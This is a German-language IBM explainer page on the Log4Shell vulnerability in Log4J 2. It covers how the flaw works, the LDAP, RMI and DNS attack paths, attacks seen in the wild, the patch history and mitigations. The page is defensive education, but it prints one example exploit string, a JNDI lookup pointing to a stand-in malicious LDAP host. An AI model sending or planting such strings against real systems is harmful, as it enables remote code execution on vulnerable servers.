Über den Einsatz von Cookies auf dieser Website Unsere Websites benötigen einige Cookies, um ordnungsgemäß zu funktionieren (erforderlich). Darüber hinaus können mit Ihrer Zustimmung weitere Cookies verwendet werden, um die Nutzung der Website zu analysieren, die Benutzerfreundlichkeit zu verbessern und Werbung zu schalten. Weitere Informationen finden Sie in Ihren. Durch den Besuch unserer Website erklären Sie sich mit der Verarbeitung von Informationen einverstanden, wie in der IBMDatenschutzbestimmung beschrieben. Um eine reibungslose Navigation zu ermöglichen, werden Ihre Cookie-Präferenzen über die hier aufgeführten IBM Web-Domains hinweg gemeinsam genutzt.
Startseite
Themen
Log4Shell
Was ist Log4Shell?
Log4Shell, auch bekannt als die Log4J-Schwachstelle, ist eine Schwachstelle im Bereich der Remotecodeausführung (RCE) in einigen Versionen der Apache Log4J 2 Java-Bibliothek. Log4Shell ermöglicht es Hackern, praktisch jeden beliebigen Code auf den betroffenen Systemen auszuführen und so die vollständige Kontrolle über Anwendungen und Geräte zu erlangen.
Log4Shell – Common Vulnerabilities and Exposures CVE-Kennung: CVE-2021-44228 – hat einen CVSS-Wert (Common Vulnerability Scoring System) von 10, was auf eine kritische Sicherheitslücke hinweist. Sie gilt als eine der gefährlichsten Sicherheitslücken überhaupt, da sie eine große Reichweite und potenziell verheerende Folgen hat.
Schätzungsweise 10 Prozent aller digitalen Assets (Link befindet sich außerhalb von ibm.com) – darunter Webanwendungen, Cloud-Services und physische Endpunkte wie Server – waren zum Zeitpunkt der Entdeckung von Log4Shell anfällig. Hacker können mit Log4Shell fast alles tun: Daten stehlen (Datenexfiltration), Ransomware installieren, Geräte für Botnets kapern und mehr.
Forscher im Bereich der Cloud-Sicherheit entdeckten Log4Shell erstmals im November 2021. Apache veröffentlichte im Dezember 2021 einen Patch, und alle Versionen von Log4J ab 2.17.1 sind frei von Log4Shell und den damit verbundenen Sicherheitslücken. Die Cybersecurity and Infrastructure Security Agency (CISA) berichtet jedoch, dass Log4Shell immer noch zu den am häufigsten ausgenutzten Schwachstellen gehört (Link befindet sich außerhalb von ibm.com). Log4J ist in der Software-Lieferkette allgegenwärtig, sodass das Auffinden und Beheben jeder einzelnen Schwachstelle Jahre dauern kann.
In der Zwischenzeit können die Sicherheitsteams andere Maßnahmen ergreifen, um die Gefährdung des Netzwerks zu verringern, die im Folgenden näher erläutert werden.
Erfahren Sie, worauf Sie bei der Bewertung der Schlüsselelemente einer modernen EDR-Lösung achten sollten.
Log4Shell betrifft Log4J, eine Open-Source-Protokollierungsbibliothek, die von der Apache Software Foundation gepflegt wird. Log4J ist ein Logger – eine Softwarekomponente, die Informationen und Ereignisse in einem Programm aufzeichnet, wie Fehlermeldungen und Benutzereingaben.
Log4J ist kein eigenständiges Programm, sondern ein Codepaket, das Entwickler in ihre Java-Anwendungen einfügen können, anstatt Logger von Grund auf neu zu entwickeln. Große Unternehmen – darunter Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco und viele andere – verwenden Log4J in ihrer Software und ihren Diensten.
Log4Shell resultiert aus der Art und Weise, wie anfällige Versionen von Log4J mit zwei verwandten Funktionen umgehen: Java Naming and Directory Interface (JNDI)-Suchen und Nachrichten-Suchersetzungen. Jedes Feature für sich allein wäre harmlos, aber die Interaktion zwischen ihnen gibt Hackern eine mächtige Waffe an die Hand.
JNDI ist eine Programmierschnittstelle (Application Programming Interface, API), mit der Java-Apps auf Ressourcen, die auf externen Servern gehostet werden, zugreifen können. Eine JNDI-Suche ist ein Befehl, der die App dazu auffordert, zu einem Server zu wechseln und ein bestimmtes Objekt herunterzuladen, z. B. bestimmte Daten oder ein Skript. Ältere Versionen von Log4j 2 führen automatisch jeden Code aus, der auf diese Weise heruntergeladen wurde.
Die Ersetzung von Nachrichten-Lookups ermöglicht es Benutzern und Anwendungen, innerhalb von Protokollnachrichten Variablen an Log4J zu senden, indem sie eine bestimmte Syntax verwenden: ${prefix:name}. Wenn Log4J auf diese Syntax stößt, löst es die Variable auf und trägt den Wert in das Protokoll ein. Wenn Log4J z.B. eine Nachricht mit dem Inhalt
${java:version}
erhält, würde es die aktuelle Version von Java auf dem Gerät ermitteln. Im Protokoll würde Folgendes vermerkt: „Java Version X.XX“.
Anders ausgedrückt: Log4J behandelt die Ersetzung von Nachrichten-Lookups nicht wie normalen Text. Es behandelt sie wie Befehle und ergreift Maßnahmen auf der Grundlage ihrer Inhalte. Hacker können diese Tatsache ausnutzen, um bösartige JNDI-Lookup-Befehle an Anwendungen zu senden, die anfällige Versionen von Log4J verwenden. Ein Hacker könnte Log4J beispielsweise eine Zeichenkette wie die folgende senden:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Wenn Log4J diese Nachricht erhielt, löste es die Variable auf, indem es den Server von myevilwebsite.biz kontaktierte und das Objekt unter /maliciouscode herunterlud. Dieser Vorgang würde dazu führen, dass Log4J den Java-Code ausführt, den der Hacker an diesem Ort versteckt hat, normalerweise Malware.
Hacker können Standardprotokolle verwenden, um Log4Shell auszulösen, wodurch es für bösartigen Datenverkehr einfacher wird, sich der Erkennung zu entziehen. Die meisten Log4Shell-Angriffe verwenden eines der folgenden Protokolle: Lightweight Directory Access Protocol (LDAP); Remote Method Invocation (RMI) oder Domain Name System (DNS).
LDAP
LDAP wird verwendet, um Daten an einem zentralen Ort zu speichern, von dem aus verschiedene Anwendungen und Dienste auf sie zugreifen können. LDAP ist die häufigste Methode, die Hacker verwenden, um Log4Shell auszunutzen. Ein typischer Angriff funktioniert wie folgt:
- Der Hacker richtet einen LDAP-Server ein und speichert bösartigen Code darauf.
- Der Hacker sendet mithilfe von Log4J eine JNDI-Abfrage an ein Programm.
- Die JNDI-Abfrage veranlasst das Programm, sich mit dem LDAP-Server des Angreifers in Verbindung zu setzen, die Nutzdaten herunterzuladen und den Code auszuführen.
RMI
RMI ist eine Java-Funktion, die es einer Anwendung auf einem Gerät ermöglicht, einer Anwendung auf einem anderen Gerät mitzuteilen, dass sie etwas tun soll, z. B. Informationen austauschen oder eine Funktion ausführen. RMI-Angriffe funktionieren in etwa so wie LDAP-Angriffe: Hacker richten einen RMI-Server ein, bringen das Ziel dazu, sich mit ihrem Server zu verbinden, und senden bösartige Befehle an das Ziel zurück.
RMI-Angriffe sind nicht sehr häufig, aber einige Hacker (Link befindet sich außerhalb von ibm.com) weichen auf RMI aus, weil immer mehr Unternehmen den LDAP-Traffic komplett blockieren.
DNS
Hacker verwenden DNS, um nach Zielen zu suchen. Sie senden einen JNDI-Lookup an ein Programm und weisen es an, sich mit einem DNS-Server zu verbinden, den die Hacker kontrollieren. Wenn der DNS-Server eine Verbindung von dem Programm aufzeichnet, wissen die Hacker, dass das System für weitere Log4Shell-Angriffe anfällig ist.
Da Log4Shell den Hackern die Ausführung von beliebigem Code ermöglicht, können Cyberkriminelle die Schwachstelle für eine Vielzahl von Angriffen nutzen. Außerdem war Log4Shell zum Zeitpunkt seiner Entdeckung eine Zero-Day-Schwachstelle, was bedeutet, dass Hacker bei der Ausnutzung der Schwachstelle einen Vorsprung hatten.
Einige der ersten Log4Shell-Angriffe infizierten Computer mit Cryptojackern, einer Art von Malware, die ein Gerät zum Mining von Kryptowährungen ohne das Wissen des Besitzers verwendet. Das Mirai-Botnetz nutzte die Schwachstelle ebenfalls, um Geräte zu übernehmen.
Mehrere Ransomware-Angriffe haben sich Log4Shell zunutze gemacht. Zu den bekanntesten gehören der Khonsari-Stamm, der sich über das Videospiel Minecraft verbreitete, und NightSky, der auf Systeme mit VMware Horizon abzielte.
Sogenannte Access-Broker nutzen Log4Shell, um in bedeutenden Unternehmensnetzwerken Fuß zu fassen,. Dies geschah oft durch das heimliche Einschleusen von Remote-Access-Trojanern (RATs) in kompromittierte Systeme. Access-Broker verkaufen diese Einfallstore dann an Ransomware-as-a-Service-Anbieter oder andere Hacker im Dark Web.
Als Apache nach der Entdeckung von Log4Shell an entsprechenden Patches arbeitete, kamen eine Handvoll damit verbundener Schwachstellen ans Licht. Letztendlich waren vier Patches erforderlich, um Log4Shell und alle damit verbundenen Sicherheitslücken vollständig zu schließen:
Der erste von Apache veröffentlichte Patch, Log4J Version 2.15.0, schloss einen Großteil der Log4Shell-Schwachstelle. Allerdings konnten Hacker immer noch bösartige JNDI-Lookups an Systeme senden, die bestimmte nicht standardmäßige Einstellungen verwendeten. Apache hat diese Schwachstelle mit Log4J Version 2.16.0 behoben.
Die Version 2.16.0 erwies sich ebenfalls als unvollständig. Hacker konnten böswillige Nachrichten-Lookups verwenden, um anfällige Systeme in unendliche Wiederholungen zu schicken, was zu Denial-of-Service-Angriffen führte. Zur Behebung dieser Schwachstelle hat Apache die Version 2.17 veröffentlicht.
Diese Schwachstelle ist weniger schwerwiegend als die anderen. Sie ermöglichte es Hackern, Code aus der Ferne auszuführen, wofür sie sich zunächst jedoch erhöhte Rechte verschaffen und die Protokollkonfigurationen ändern mussten. Apache hat dieses Problem mit einem vierten Patch, Log4J Version 2.17.1, behoben.
Sicherheitsforscher empfehlen Unternehmen dringend, alle Instanzen von Log4J in ihren Netzwerken vorrangig auf die neueste Version zu aktualisieren, mindestens jedoch auf Version 2.17.1. Patches sind die einzige Möglichkeit, Log4Shell vollständig zu beseitigen.
Die Sicherheitsteams sind jedoch möglicherweise nicht in der Lage, alle Instanzen von Log4J in ihren Netzwerken sofort zu patchen. Anfällige Log4J-Installationen sind oft als indirekte Abhängigkeiten vorhanden. Das bedeutet, dass die Assets des Unternehmens zwar nicht Log4J verwenden, aber auf andere Anwendungen und Dienste angewiesen sind, die dies tun. Laut Google (Link befindet sich außerhalb von ibm.com) sind die meisten anfälligen Log4J-Instanzen mehr als eine Ebene und einige sogar bis zu neun Ebenen tief.
Wenn Log4J eine indirekte Abhängigkeit ist, wird das Auffinden dieser Abhängigkeit für Sicherheitsteams sehr viel schwieriger. Und wenn sie es doch finden, können sie es möglicherweise nicht patchen, je nachdem, wo es vorhanden ist. Wenn Log4J in einem Softwarepaket versteckt ist, das von einer Anwendung eines Drittanbieters verwendet wird, muss das Sicherheitsteam den Anbieter zur Aktualisierung von Log4J auffordern.
Selbst wenn Log4J als direkte Abhängigkeit vorhanden ist, kann es schwer zu erkennen sein. Der Softwareentwicklungsprozess ist heute hochkomplex und stützt sich auf große Teams und riesige Mengen an bereits vorhandenem Code. Entwickler bemerken möglicherweise nicht, dass ihre Anwendungen anfällige Versionen von Log4J enthalten, da diese Instanzen tief in vorformulierten Softwarepaketen stecken, die die Entwickler nicht selbst programmiert haben.
Im Dezember 2022 waren 25 Prozent der Log4J-Downloads (Link befindet sich außerhalb von ibm.com) immer noch anfällig für Log4Shell, was bedeutet, dass Anwender veraltete Versionen von Log4J zur Erstellung neuer Assets verwenden.
Log4J ist in der Software-Lieferkette so weit verbreitet, dass es nach Angaben des US-amerikanischen Heimatschutzministeriums (Link außerhalb von ibm.com) mindestens ein Jahrzehnt dauern wird, bis alle anfälligen Instanzen gefunden und behoben sind.
In der Zwischenzeit können Sicherheitsteams andere Maßnahmen zur Reduzierung der Netzwerkgefährdung ergreifen.
Entfernen von Nachrichten-Lookups aus anfälligen Apps
Sicherheitsteams können die Ersetzung von nachrichten-Lookups in Log4J verbieten, sodass Log4J die Nachrichten von Hackern als reinen Text und nicht als auszuführende Befehle behandelt.
Es gibt zwei Möglichkeiten, dies zu tun: indem Sie die Systemeigenschaft „Log4J2.formatMsgNoLookups“ auf „true“ ändern oder den Wert der Umgebungsvariablen LOG4J_FORMAT_MSG_NO_LOOKUPS auf „true“ setzen.
Beachten Sie, dass ungepatchte Versionen von Log4J immer noch unter CVE-2021-45046 leiden, das es Hackern ermöglicht, bösartige JNDI-Lookups zu senden, wenn bestimmte nicht standardmäßige Einstellungen verwendet werden. Das Verbot von Nachrichtenabfragen ist daher nicht narrensicher.
Entfernen der JndiLookup-Klasse aus anfälligen Apps
Java-Apps verwenden Klassen, um zu definieren, was ein Programm tun kann. In Log4J regelt die Klasse „JNDIlookup“ die JNDI-Lookups Wenn diese Klasse aus dem Klassenverzeichnis von Log4J (auch bekannt als Klassenpfad) entfernt wird, können keine JNDI-Lookups mehr durchgeführt werden.
Das Verbot von JNDI-Lookups verhindert, dass Hacker bösartige Befehle senden. Es kann aber auch andere Funktionen von Log4J und die Anwendungen, die es verwenden, beeinträchtigen. Zudem kann es schwierig sein, sicherzustellen, dass jede Instanz der Klasse entfernt wird.
Blockieren von bösartigem ausgehendem Datenverkehr
Unternehmen können Firewalls und andere Tools für die Cybersicherheit einsetzen, um den Datenverkehr von anfälligen, dem Internet zugewandten Anlagen zu Servern unter der Kontrolle von Angreifern zu blockieren. So können Sicherheitsteams beispielsweise Regeln festlegen, die alle Verbindungen über LDAP- oder RMI-Protokolle verbieten.
Die Blockierung des ausgehenden Datenverkehrs anstelle des eingehenden Datenverkehrs trägt dazu bei, Fehlalarme zu vermeiden, da Anbieter und Sicherheitsforscher möglicherweise Anlagen scannen, um verweilende, ungepatchte Instanzen zu finden.
Der Nachteil ist, dass Firewalls notwendige ausgehende Verbindungen blockieren oder vereiteln können, insbesondere wenn ein Unternehmen LDAP oder RMI aus legitimen Gründen verwendet.
Weiterführende Lösungen
Eine moderne, verbundene Sicherheitssuite hilft Ihnen dabei, Angreifer zu überlisten. Das QRadar-Portfolio ist mit auf Unternehmen abgestimmter KI ausgestattet und bietet integrierte Produkte für Endpunktsicherheit, Protokollmanagement, SIEM und SOAR – mit einer gemeinsamen Benutzeroberfläche, gemeinsamen Erkenntnissen und vernetzten Workflows.
IBM Datensicherheitslösungen, die lokal oder in einer Hybrid Cloud implementiert werden, bieten Ihnen mehr Transparenz und Erkenntnisse, um Cyberbedrohungen zu untersuchen und zu beheben, Echtzeitkontrollen durchzusetzen und Compliance-Anforderungen zu handhaben.
Proaktive Bedrohungssuche, kontinuierliche Überwachung und eine gründliche Untersuchung von Bedrohungen sind nur einige der Prioritäten, mit denen eine ohnehin schon ausgelastete IT-Abteilung konfrontiert ist. Ein vertrauenswürdiges Notfallteam in Bereitschaft kann Ihre Reaktionszeit verkürzen, die Auswirkungen eines Cyberangriffs minimieren und Ihnen helfen, sich schneller zu erholen.
Ressourcen
Erfahren Sie alles, was Sie über Zero-Day-Exploits und die entscheidende Rolle, die sie für die Sicherheit spielen, wissen müssen. Erstellt von Randori, einem IBM-Unternehmen.
Hacking (auch Cyber-Hacking genannt) ist die Verwendung unkonventioneller oder illegaler Mittel, um unbefugten Zugriff auf ein digitales Gerät, Computersystem oder Computernetzwerk zu erlangen.
Schadsoftware, auch als „Malware“ bezeichnet, ist jedes Programm, das darauf abzielt, Computersysteme oder deren Benutzer zu schädigen, z. B. Ransomware, Trojaner und Spyware.